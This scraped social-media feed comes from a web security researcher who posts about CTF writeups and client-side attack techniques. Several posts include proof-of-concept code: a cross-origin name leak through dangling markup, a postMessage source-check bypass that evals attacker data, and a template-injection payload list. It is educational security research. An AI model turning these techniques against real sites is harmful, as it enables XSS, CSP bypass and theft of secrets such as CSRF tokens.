Jorian
@jorianwoltjer.com
280 followers 96 following 70 posts
Normalize being weird.
Posts Media Videos Starter Packs
jorianwoltjer.com
Follow your rabbit holes is the takeaway from my latest CTF writeup.
I found several interesting techniques that can help tricky situations, such as using the Connection Pool to make Client-Side Race Conditions easier!

Read the whole thing on my blog:
jorianwoltjer.com/blog/p/ctf/o...
openECSC 2025 - kittychat-secure | Jorian Woltjer
Overcomplicating a hard client-side web challenge involving complex CSP script gadgets. Exploit Math.random() predictability, and learn how to use the Connection Pool to make Race Conditions easier.
jorianwoltjer.com
jorianwoltjer.com
AMAZING technique by @salvatoreabello, I've been inspired by the connection pool exploits he comes up with.
Check out this crazy impact labeled as "working as intended":
blog.babelo.xyz/posts/cross-...
jorianwoltjer.com
Forgot to add what we leak, this is the result:
jorianwoltjer.com
On our attacker's page, we load this in an iframe and can then access [0] to get a reference to our injected object. To read its name, we can set its location to *our* about:blank and then read the .name window property (set by the attribute)!
<iframe id="iframe" src="https://target.tld/dangling-object"></iframe>
<script>
  iframe.onload = () => {
    const object = iframe.contentWindow[0];
    object.location = "about:blank";  // Navigate to our same-origin
    const interval = setInterval(() => {
      object.origin;  // When it becomes same-origin
      clearInterval(interval);
      alert(object.name);  // Leak its name (kept after navigation)
    })
  }
</script>
jorianwoltjer.com
While playing a challenge by Salvatore Abello, I found a pretty interesting way to exploit Dangling Markup with a strict CSP.
All you need is an <iframe>, <object> or <embed> set to about:blank, with a dangling name= attribute. This vulnerable page should be iframable.
Content-Security-Policy: default-src 'none'

<object data="about:blank" name='
<form>
  <input type="hidden" name="csrf" value="SECRET">
</form>
<script>
  console.log('Hello, world!');
</script>
jorianwoltjer.com
Final exploit code:
gist.github.com/JorianWoltje...
Thanks Omid sharing this challenge!
onclick = () => {
    window.open(location.href);
    location = "http://127.0.0.1:8000/vuln.html";
}
setTimeout(() => {
    const iframe = document.createElement("iframe");
    iframe.srcdoc = "";
    document.body.appendChild(iframe);
    iframe.onload = () => {
        iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")');
        iframe.remove();
    }
}, 1000);
jorianwoltjer.com
We first duplicate our page, then navigate the first tab to the target. From our 2nd tab, the iframe can now access `top.opener` to send a message to the target. Quickly after, the parent removes the iframe and the `event.source` becomes `null`.
Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`
jorianwoltjer.com
In our exploit we can do the same:
1. Create a same-origin iframe
2. Make the iframe send a message to the target window
3. Instantly remove the iframe from the DOM

There's a few ways to get a reference to the target window from inside the iframe, but I used `opener` as follows:
jorianwoltjer.com
The solution comes from an obscure 2012 discussion where the developer noticed it being `null` in a bug:
groups.google.com/a/chromium.o...
They let an iframe send a message, and the iframe element was removed right after. By the time the receiver handles it the source is gone!
Can the source of a MessageEvent ever be undefined?
groups.google.com
jorianwoltjer.com
The main hurdle to overcome is `event.source != window.message_frame?.contentWindow`. The `?.` makes the comparison `undefined` if window.message_frame doesn't exist, which is the case if the user hasn't clicked yet.
Loosely comparing to undefined is all that's protecting it now?
jorianwoltjer.com
@omidxrz.bsky.social shared this nice postMessage() challenge some time ago.
I'm a bit late, but worth trying if you haven't already :D
Otherwise, my solution is below, it's a really fun technique that makes me re-evaluate all the .source checks I've seen before...
<!DOCTYPE html>
<html>
<body>
  <h1>Impossible</h1>
  <div id="output">Waiting for messages...</div><br>
  <button id="loadIframeButton">Load Message Frame</button>
  <script>
    document.getElementById('loadIframeButton').addEventListener('click', () => {
      const iframe = document.createElement('iframe');
      iframe.id = 'message_frame';
      iframe.srcdoc = '<html><body><script>window.parent.postMessage("document.body.innerHTML = \'<h1>Impossible Message</h1>\'", "*");<\/script></body></html>';
      iframe.style.display = 'none';
      document.body.appendChild(iframe);
    });
  </script>
  <script>
    window.onmessage = function (event) {
      if (event.source != window.message_frame?.contentWindow || window !== window.top) {
        document.getElementById('output').innerHTML = "No Hacker!";
        return;
      }

      document.getElementById('output').innerHTML = "received";
      const result = eval(event.data);
    };
  </script>
</body>
</html>
jorianwoltjer.com
(for people having trouble recognizing sarcasm online, this is a joke, I'm not actually becoming a like farmer)
jorianwoltjer.com
#bugbountytips
Template Injection payload list:
{{7*7}}
${7*7}}
49
<%=7*7%>
jorianwoltjer.com
I made a hard @intigriti.com XSS challenge this July 😅
But, it involves some very interesting Mutation XSS & DOM Clobbering fun combined with a CSP Bypass using the powerful SocketIO gadget.
Everything's explained in my writeup below!
jorianwoltjer.com/blog/p/ctf/i...
Intigriti July XSS Challenge (0725) | Jorian Woltjer
My author's writeup of the July 2025 challenge. Perform Mutation XSS to DOM Clobber an change the insertion point into an iframe, then bypass the CSP using a new useful Socket.IO gadget
jorianwoltjer.com
jorianwoltjer.com
The challenge is over now, see my writeup below. Shoutout to all the other solvers too: @RenwaX23, @alfinjose.bsky.social, @slonser_, @sebsrt.bsky.social, @lbrnli1234 and @salvatoreabello. 🎉
bsky.app/profile/jori...
jorianwoltjer.com
Here's my writeup the technique allowing some nonce-based CSPs to be bypassed. I think it definitely has some practical use, so included some details about different scenario's.

Don't let that HTML-injection of yours wait!
jorianwoltjer.com/blog/p/resea...
Nonce CSP bypass using Disk Cache | Jorian Woltjer
The solution to my small XSS challenge, explaining a new kind of CSP bypass with browser-cached nonces. Leak it with CSS and learn about Disk Cache to safely update your payload
jorianwoltjer.com
jorianwoltjer.com
jorianwoltjer.com
Just found an interesting way to bypass some nonce-based CSPs and made a small XSS challenge with an exploitable scenario. See if you can find it before I tell!
Source JS:
gist.github.com/JorianWoltje...
URL:
greeting-chall.jorianwoltjer.com
Found a solution? Please DM to avoid spoilers, thanks!
jorianwoltjer.com
Here's my writeup the technique allowing some nonce-based CSPs to be bypassed. I think it definitely has some practical use, so included some details about different scenario's.

Don't let that HTML-injection of yours wait!
jorianwoltjer.com/blog/p/resea...
Nonce CSP bypass using Disk Cache | Jorian Woltjer
The solution to my small XSS challenge, explaining a new kind of CSP bypass with browser-cached nonces. Leak it with CSS and learn about Disk Cache to safely update your payload
jorianwoltjer.com
jorianwoltjer.com
@rebane2001.bsky.social with the first confirmed blood 👏🩸
Great job, my writeup will go out in a few days, so try the challenge while you still can!
jorianwoltjer.com
Just found an interesting way to bypass some nonce-based CSPs and made a small XSS challenge with an exploitable scenario. See if you can find it before I tell!
Source JS:
gist.github.com/JorianWoltje...
URL:
greeting-chall.jorianwoltjer.com
Found a solution? Please DM to avoid spoilers, thanks!
jorianwoltjer.com
This is a Public Service Announcement to all client-side challenge authors:
*XSS on any localhost origin makes RCE possible on selenium!*
jorianwoltjer.com
This month @ToG gave us an unusual, but very cool challenge. It required some messing with a headless browser via Arbitrary File Write, and then to use a little-known Chromedriver CSRF → RCE trick. A must-know for challenge-cheesers like myself!
jorianwoltjer.com/blog/p/ctf/i...
Intigriti June RCE Challenge (0625) | Jorian Woltjer
A surprising RCE challenge instead of XSS, created by @ToG. I took an unintended approach involving the Preferences file and a chromedriver CSRF RCE issue, a must-know for CTF authors.
jorianwoltjer.com